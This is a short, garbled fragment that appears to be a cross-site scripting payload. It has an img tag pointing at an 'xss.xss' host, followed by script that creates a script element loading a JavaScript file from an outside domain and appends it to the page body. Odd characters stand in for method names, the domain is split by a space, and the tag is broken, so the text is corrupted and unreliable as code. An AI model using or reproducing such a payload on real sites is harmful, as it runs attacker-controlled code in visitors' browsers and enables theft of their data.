...
...
...
...
...
...
img src="http://xss.xss/xss.jpg" x='
'..var x=document·('script');x.src='http://www.actualizando.co m/.../test.js';document·getElementsByTagName('body')[0] .appendChild(x);" /